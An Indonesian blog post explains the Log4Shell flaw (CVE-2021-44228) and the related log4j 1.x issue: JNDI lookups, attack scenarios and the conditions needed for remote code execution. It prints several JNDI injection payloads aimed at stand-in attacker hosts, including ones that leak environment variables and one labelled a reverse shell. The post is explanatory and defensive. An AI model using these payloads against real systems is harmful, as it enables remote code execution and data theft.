Thursday, December 16, 2021

Tentang Log4Shell Vulnerability (CVE-2021-44228)

on   in ,   with No comments

Introduction

Log4j adalah library logger yang umum digunakan di dunia Java. Log4j memiliki cara untuk menambahkan value pada konfigurasi dengan menggunakan Lookup Plugins, ada banyak plugin lookup yang tersedia pada log4j, diantaranya adalah Docker Lookup,Environment Lookup, Java Lookup, dan lain sebagainya. Selengkapnya [disini] 

contoh konfigurasi log4j yang menggunakan Environment Lookup :
<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${env:USER} %m%n</pattern>
  </PatternLayout>
</File>

konfigurasi tersebut akan mengambil informasi USER yang ada pada environment variable.

Root Cause

Masalahnya adalah, plugin lookup tersebut tidak hanya dieksekusi pada file konfigurasi, namun plugin lookup juga dapat dieksekusi pada pesan log! Inilah kenapa log4shell dapat terjadi, dengan memanfaatkan JNDI Lookup yang ada pada entry log (attacker controlled input) attacker dapat mengarahkan URL JNDI ke server LDAP milik attacker lalu mendapatkan RCE (Remote Code Execution). 

${jndi:ldap://attacker.com/Exploit}

Dengan menggunakan antarmuka JNDI, log4j akan mengunduh file .class dan melakukan deserialize object. Menurut LunaSec versi JDK lebih besar dari 6u211, 7u201, 8u191, dan 11.0.1 tidak terpengaruh oleh serangan LDAP di atas, karena com.sun.jndi.ldap.object.trustURLCodebase by default diset FALSE, artinya JNDI dicegah memuat RCE menggunakan pencarian LDAP.

Namun, kerentanan masih dapat dieksploitasi dengan cara lain: khususnya, jika ada class di classpath yang memproses input pengguna dan meneruskannya ke fungsi InitialContext.lookup(), RCE masih dapat dilakukan. Serangan menggunakan metode ini dengan menargetkan class org.apache.naming.factory.BeanFactory, yang ada di server Apache Tomcat, dibahas dalam blog ini.

Jadi, tidak cukup menggunakan versi Java terbaru saja agar tidak rentan. Oleh karena itu, pembaruan ke log4j2 versi 2.15 mutlak diperlukan.

JNDI 101

JNDI adalah singkatan dari "Java Naming and Directory Interface"  Java API yang memungkinkan klien untuk menemukan dan mencari data dan objek melalui name atau directory service. Objek ini dapat disimpan dalam name atau directory service yang berbeda seperti Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), or Domain Name Service (DNS).

JNDI Lookup pada log4j memungkinkan variabel untuk diambil melalui JNDI. Contoh :

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/nama-context} %m%n</pattern>
  </PatternLayout>
</File>

 JNDI Exploitation

Sekarang mari kita beralih ke JNDI injection attacks. Disini saya hanya akan sedikit menjelaskan, jika tertarik anda dapat membaca Whitepaper Blackhat yang luar biasa dari Alvaro Muñoz dan Oleksandr Mirosh. Selengkapnya [disini]

Yang penting untuk dipahami adalah apa yang terjadi di background saat layanan menggunakan JNDI untuk mengambil objek di server direktori:

  • Layanan direktori tidak harus berbasis Java karena hanya perlu menyediakan serialized object yang direferensikan, yang akan dideserialisasi oleh klien JNDI.
  • Terkadang objek tidak dapat disimpan dalam layanan direktori: Mungkin melebihi ukuran objek maksimum dari layanan yang digunakan atau kelas objek tidak dapat diserialisasi. Untuk menghadapi skenario ini, JNDI menyediakan fitur yang memungkinkan untuk mengunduh kode Java yang dikompilasi dari server web. Java akan membuat permintaan GET ke layanan itu dan dengan senang hati membuat instance baru dari kelas itu!

JNDI Attack Scenarios

Agar serangan JNDI berfungsi, penyerang harus dapat mengelabui aplikasi target agar membuat koneksi JNDI ke layanan direktori yang dikendalikan penyerang (RMI/LDAP/CORBA). Ada berbagai skenario ketika ini bisa terjadi: 

  • Penyerang memiliki akses ke dashboard admin dan dapat menentukan atau memodifikasi resource JNDI. 
  • Memanfaatkan kerentanan deserialisasi: Penyerang membutuhkan gadget atau gadget chain yang menyebabkan layanan target membuat koneksi JNDI keluar. 
  • Penyerang sudah memiliki kontrol parsial atas entri dalam layanan direktori yang ditanyakan oleh klien JNDI, misalnya akun pengguna di Active Directory. 
  • Penyerang memiliki kendali penuh atas nama objek.

Log4shell Attack Scenarios

Attack sceanrio terakhir penting untuk memahami kerentanan Log4j: Kita asumsikan bahwa penyerang dapat mengontrol User-Agent yang akan dilog oleh log4j, karena log4j mengeksekusi lookup pada entry log, maka attacker dapat menyisipkan payload pada entry log (dalam kasus ini adalah User-Agent).

log.info("Request User-Agent: {}", userAgent);


Payload 1 : JNDI Lookup pada User-Agent: ${jndi:ldap://ip-attacker/}



Payload 2 : JNDI Lookup + Java Lookup pada User-Agent: ${jndi:ldap://ip-attacker/${java:version}}




Payload 3 : JNDI Lookup + Environment Lookup pada User-Agent: ${jndi:ldap://ip-attacker/${env:USER} pathnya adalah ${env:PATH}}




Payload 4 : JNDI Lookup + Reverse Shell pada User-Agent: ${jndi:ldap://ip-attacker/Exploit}





Looking for RCE?

Tidak semua aplikasi yang menggunakan log4j ini dapat berimbas pada Remote Code Execution (RCE), ada beberapa kondisi yang harus dipenuhi agar dapat RCE:
  • Log4j versi 2 harus digunakan (>= 2.0-beta9 dan <= 2.14.1)
  • Penyerang harus memiliki akses langsung atau tidak langsung (ketika data input diteruskan ke sistem lain dan dilog di sana) ke sistem target.
  • Input/request (user agent, domain paths, text input, …) harus dilog.
  • Versi java dibawah 6u211, 7u201, 8u191, dan 11.0.1.

Log4j versi 1.x?

Saat ini yang corfirmed dapat diexploitasi adalah log4j versi 2.x, bagaimana dengan versi 1.x? Setelah membaca dari berbagai referansi, log4j versi 1.x tidak vulnerable terhadap CVE-2021-44228. 

Namun, tergantung pada konfigurasi, log4j versi 1 juga dapat terpengaruh. Ini adalah kasus ketika parameter konfigurasi TopicBindingName dan TopicConnectionFactoryBindingName digunakan (misalnya, saat menggunakan JMS Appender) dan opsi ini diset ke nilai yang dapat dihandle oleh JNDI.


Celah keamanan pada log4j versi 1.x ini tercatat pada CVE-2021-4104 dan memiliki severity lebih rendah daripada celah keamanan pada versi 2.x (CVE-2021-44228). 

Brikut beberapa aplikasi yang menggunakan versi 1.x adalah:
  • Apache Kafka 
  • Kafka Connect 
  • Schema Registry 
  • Rest Proxy
  • KSQL
  • Bamboo Server and Data Center
  • Confluence Server and Data Center
  • Crowd Server and Data Center
  • Fisheye / Crucible
  • Jira Server and Data Center
So, setelah membaca catatan tentang log4shell ini, harapannya pembaca dapat memahami celah ini dengan lebih baik, karena banyak yang berasumsi "Produk ini kena log4shell" hanya karena adanya DNS Query  dari target, ketika ditanya "dapet RCE nggak?", dijawab "nggak, kan ada dns query", in case mungkin versi javanya itu latest, jadi walaupun nggak dapet RCE, at least bisa memberikan evidence lebih daripada sekedar dns query  :)

Ref :

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/
  • https://www.cnblogs.com/yyhuni/p/15088134.html
  • https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html
  • https://www.xeotek.com/is-apachekafka-vulnerable-to-log4j2-exploit/
Share Yuk!

0 comments:

Post a Comment